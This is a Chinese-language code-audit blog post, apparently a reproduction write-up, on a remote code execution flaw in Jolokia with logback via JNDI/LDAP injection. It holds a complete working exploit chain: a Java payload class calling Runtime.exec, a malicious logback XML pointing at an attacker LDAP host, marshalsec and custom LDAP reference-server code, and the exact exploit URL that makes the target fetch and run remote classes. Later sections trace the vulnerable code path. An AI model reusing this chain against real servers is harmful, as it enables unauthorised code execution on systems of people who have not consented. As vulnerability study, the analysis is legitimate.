Java代码审计之jolokia logback JNDI LDAP RCE
注:本文为复现文和学习文,原创极少,参考了大量参考链接里的内容~感兴趣者自行阅读原作
0x01. 原理
- 直接访问可触发漏洞的 URL,相当于通过 jolokia 调用
ch.qos.logback.classic.jmx.JMXConfigurator
类的reloadByURL
方法 - 目标机器请求外部日志配置文件 URL 地址,获得恶意 xml 文件内容
- 目标机器使用 saxParser.parse 解析 xml 文件 (这里导致了 xxe 漏洞)
- xml 文件中利用
logback
依赖的insertFormJNDI
标签,设置了外部 JNDI 服务器地址 - 目标机器请求恶意 JNDI 服务器,导致 JNDI 注入,造成 RCE 漏洞
0x02. 利用条件:
- 目标网站存在
/jolokia
或/actuator/jolokia
接口 - 目标使用了
jolokia-core
依赖(版本要求暂未知)并且环境中存在相关 MBean - 目标可以请求攻击者的 HTTP 服务器(请求可出外网)
- 普通 JNDI 注入受目标 JDK 版本影响,jdk < 6u201/7u191/8u182/11.0.1(LDAP),但相关环境可绕过
0x03. 复现过程
1. 访问/jolokia/list
接口
查看是否存在 ch.qos.logback.classic.jmx.JMXConfigurator
和 reloadByURL
关键词。
编译Payload代码
JNDIObject.java
javac JNDIObject.java
import java.io.IOException;
public class JNDIObject{
static {
Runtime r = Runtime.getRuntime();
Process p = null;
try {
// p = r.exec(new String[]{"cmd.exe", "/c", "calc.exe"});
p = r.exec("calc.exe");
p.waitFor();
} catch (IOException | InterruptedException e) {
e.printStackTrace();
}
}
public static void main(String[] argv){
JNDIObject e = new JNDIObject();
}
}
example.xml
<configuration>
<insertFromJNDI env-entry-name="ldap://192.168.144.27:1389/JNDIObject" as="appName" />
</configuration>
将JNDIObject.class和example.xml放在Web服务下
python -m SimpleHTTPServer 8888
4. 架设恶意 ldap 服务
http://192.168.144.27:8888 为上一步的Web地址
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marsh
alsec.jndi.LDAPRefServer http://192.168.144.27:8888/#JNDIObject 1389
5. 利用
请求URL
http://127.0.0.1:9094/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/192.168.144.27:8888!/example.xml
先是接收到了example.xml请求
再去请求了LDAP服务
最后去请求了JNDIObject.class
成功的弹出计算器
0x04 JNDI+LDAP注入
JNDI知识见上篇文章
启动一个ldap服务,该代码由某大佬改自marshalsec
Server.class
// 1.8
// https://www.cnblogs.com/nice0e3/p/13958047.html
// JNDI+LDAP
package com.DemoJNDI.DEMOJNDILDAP;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
public class Server {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1:8080/#Calc"};
int port = 7777;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
Client.java
// 1.8
package com.DemoJNDI.DEMOJNDILDAP;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class Client {
public static void main(String[] args) throws NamingException {
Object object=new InitialContext().lookup("ldap://127.0.0.1:7777/Calc");
}
}
Calc.java
javac Calc.java
放在Web服务下
public class Calc{
public Calc() throws Exception{
Runtime.getRuntime().exec("open -a Calculator");
}
}
启动ldap服务监听,当运行了Client后,接收到了请求,并发送请求到http://127.0.0.1:8080/Calc.class
Web接收到了请求
弹出了计算器
0x05 jolokia logback JNDI LDAP RCE触发点
1. 核心过程:
通过路由来指定具体执行什么样的功能
构造请求的路由:
jolokia/exec/class_name/function_name/params
以/分割路由指定调用的类、方法、参数,并且通过!/保留参数里的/避免被分割,使参数http:!/!/192.168.144.27:8888!/example.xml
传递进去后转换为``http://192.168.144.27:8888/example.xml`寻找触发点
ch.qos.logback.classic.jmx.JMXConfigurator#reloadByURL
,可以从远程加载一个新的配置文件。链路里有调用
SAXParserFactory factory = SAXParserFactory.newInstance();
解析xml文件,具体学习SAXParser模块因为调用的是JMXConfigurator类,所以xml文件得符合JMX的配置文件,即格式是logback.xml。其中logback.xml的
env-entry-name
可以设置为JNDI的地址,那么我们的恶意xml文件就可以将env-entry-name
设置为为自己的JNDI地址,这样就能JDNI注入了。
2. 通过路由来指定具体执行什么样的功能
jolokia\jolokia-core\1.6.0\jolokia-core-1.6.0.jar!\org\jolokia\http\HttpRequestHandler.class
public JSONAware handleGetRequest(String pUri, String pPathInfo, Map<String, String[]> pParameterMap) {
String pathInfo = this.extractPathInfo(pUri, pPathInfo);
JmxRequest jmxReq = JmxRequestFactory.createGetRequest(pathInfo, this.getProcessingParameter(pParameterMap));
if (this.backendManager.isDebug()) {
this.logHandler.debug("URI: " + pUri);
this.logHandler.debug("Path-Info: " + pathInfo);
this.logHandler.debug("Request: " + jmxReq.toString());
}
return this.executeRequest(jmxReq);
}
断点后,通过访问/jolokia
触发debug,可以看到红框中通过JmxRequestFactory
工厂函数来创建了一个JmxRequest
类,之后return executeRequest执行这个类。在创建这个类的时候会根据get请求的路由来创建对应的JmxRequest
类。
进入到定义里
看到很多类继承了JmxRequest
在继承类中发现存在JmxWriteRequest
和JmxExecRequest
这两个从名字来说让我们很兴奋的子类,因为知道/jolokia/list
所执行的是JmxListRequest
这个子类的功能,类比一下,/jolakia/exec
就可以执行JmxExecRequest
这个子类的功能。
3. 构造请求的路由
\org\jolokia\jolokia-core\1.6.0\jolokia-core-1.6.0.jar!\org\jolokia\request\JmxExecRequest.class
JmxExecRequest(String pObjectName, String pOperation, List pArguments, ProcessingParameters pParams) throws MalformedObjectNameException {
super(RequestType.EXEC, pObjectName, (List)null, pParams);
this.operation = pOperation;
this.arguments = pArguments;
}
pObjectName:要执行操作的MBean的名称,不能为空
pOperation:要执行操作的名称(方法的名称),不能为空
pArguments:用于执行请求的参数,可以为空
pParams:用于处理请求的可选参数
JmxRequestFactory
这个工厂类,在extractElementsFromPath
方法中完成了以/
分割路由请求,并对路由进行处理的
jolokia\jolokia-core\1.6.0\jolokia-core-1.6.0.jar!\org\jolokia\request\JmxRequestFactory.class
链路从下往上
split:158, EscapeUtil (org.jolokia.util)
parsePath:93, EscapeUtil (org.jolokia.util)
extractElementsFromPath:103, EscapeUtil (org.jolokia.util)
createGetRequest:91, JmxRequestFactory (org.jolokia.request)
效果是将!/
这样的情况时,可以保留/
可以看到保留了/
,ret的第四个参数是正确的url地址
ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator
是类
reloadByURL
是方法
http:!/!/192.168.144.27:8888!/example.xml
是参数
从/jolokia/list返回的json数据包里可以找到该链
所以构造如下路由:
http://127.0.0.1:9094/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/192.168.144.27:8888!/example.xml
4. 加载远程XML文件
在JMXConfigurator
这个类中发现存在一个reloadByURL
方法,那是不是可以从远程加载一个新的配置文件从而造成RCE。
链路
buildSaxParser:79, SaxEventRecorder (ch.qos.logback.core.joran.event)
recordEvents:57, SaxEventRecorder (ch.qos.logback.core.joran.event)
doConfigure:151, GenericConfigurator (ch.qos.logback.core.joran)
doConfigure:110, GenericConfigurator (ch.qos.logback.core.joran)
doConfigure:53, GenericConfigurator (ch.qos.logback.core.joran)
reloadByURL:145, JMXConfigurator (ch.qos.logback.classic.jmx)
qos\logback\logback-classic\1.1.11\logback-classic-1.1.11.jar!\ch\qos\logback\classic\jmx\JMXConfigurator.class
调用了SAXParser解析XML
调用 recordEvents 的时候带入了输入流,这个输入流是我们可控的
远程的xml文件内容
<configuration>
<insertFromJNDI env-entry-name="ldap://192.168.144.27:1389/JNDIObject" as="appName" />
</configuration>
那么就通过JNDI+LDAP成功的注入啦。
同样也可以配合RMI注入。
0x06. 总结
0x07. 参考链接
分析文章
https://paper.seebug.org/850/
https://xz.aliyun.com/t/4258